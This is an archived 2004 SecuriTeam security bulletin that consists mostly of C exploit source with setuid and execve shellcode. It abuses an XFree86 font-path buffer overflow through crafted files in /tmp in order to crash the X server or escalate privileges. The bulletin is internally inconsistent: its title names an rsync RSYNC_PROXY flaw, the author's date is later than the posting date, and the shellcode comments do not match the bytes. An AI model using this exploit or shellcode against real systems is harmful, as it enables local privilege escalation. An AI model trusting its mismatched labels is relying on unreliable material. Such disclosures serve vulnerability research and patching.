

Securiteam: [EXPL] Rsync Buffer Overflow (RSYNC_PROXY Environment Variable) Exploit

[EXPL] Rsync Buffer Overflow (RSYNC_PROXY Environment Variable) Exploit

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-02/0035.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 02/16/04

To: list@securiteam.com

Date: 16 Feb 2004 11:23:34 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Rsync Buffer Overflow (RSYNC_PROXY Environment Variable) Exploit

SUMMARY

As was reported in a previous article, <http://www.securiteam.com/unixfocus/5IPOC0AC0Y.html> Rsync Buffer Overflow (RSYNC_PROXY Environment Variable), a buffer overflow has been discovered in recent versions of XFree86. The following code exploits the vulnerability and can be used to crash the X server. A SIGSEGV (signal 11) will be sent to the X server and it will crash.

DETAILS

Exploit:

```
/* For educational purposes only */
```

```
/* Brought to you by bender2@lonestar.org 11.10.2004 */
```

```
#include <fcntl.h>
```

```
#define NOPNUM 8000
```

```
#define ADRNUM 1058
```

```
/* shellcode from LSD */
```

Securiteam: [EXPL] Rsync Buffer Overflow (RSYNC_PROXY Environment Variable) Exploit

```
char setuidcode[]= /* 8 bytes */
"\x33\xc0" /* xorl %eax,%eax */
"\x31\xdb" /* xorl %ebx,%ebx */
"\xb0\x17" /* movb $0x17,%al */
"\xcd\x80" /* int $0x80 */
;

char shellcode[]= /* 24 bytes */
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""/id" /* pushl $0x68732f2f */
"\x68""/tmp" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdq1 */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;

char jump[]=
"\x8b\xc4" /* movl %esp,%eax */
"\xc3" /* ret */
;

main(int argc,char **argv){
char buffer[20000],adr[4],pch[4],*b,*envp[4];
int i,fd;

*((unsigned long*)adr)=*((unsigned long(*)())jump)+16000;

envp[0]=&buffer[2000];
envp[1]=0;

printf("adr: 0x%x\n",adr+12000);

b=buffer;
strcpy(buffer,"1\n");
strcat(buffer,"aaaa.pcf
-aaaa-fixed-small-a-semicondensed--1-1-1-1-a-1-iso1111-1\n");
fd=open("/tmp/fonts.dir",O_CREAT|O_WRONLY,0666);
write(fd,buffer,strlen(buffer));

for(i=0;i< ADRNUM;i++) *b++=adr[i%4];
*b++='\n';

fd=open("/tmp/fonts.alias",O_CREAT|O_WRONLY,0666);
write(fd,buffer,strlen(buffer));
close(fd);
```

Securiteam: [EXPL] Rsync Buffer Overflow (RSYNC_PROXY Environment Variable) Exploit

```
b=&buffer[2000];

for(i=0;i<
NOPNUM-strlen(setuidcode)-strlen(setuidcode)-strlen(shellcode);i++)
*b++=0x90;
for(i=0;i< strlen(setuidcode);i++) *b++=setuidcode[i];
for(i=0;i< strlen(shellcode);i++) *b++=shellcode[i];
*b=0;

execl("/usr/bin/X11/X", "X", ":0", "-fp", "/tmp", 0, envp);
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:qph@linuxmail.org>> R0xx.

The original article can be found at:

<<http://www.securiteam.com/unixfocus/5IPOC0AC0Y.html>>

<http://www.securiteam.com/unixfocus/5IPOC0AC0Y.html>.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.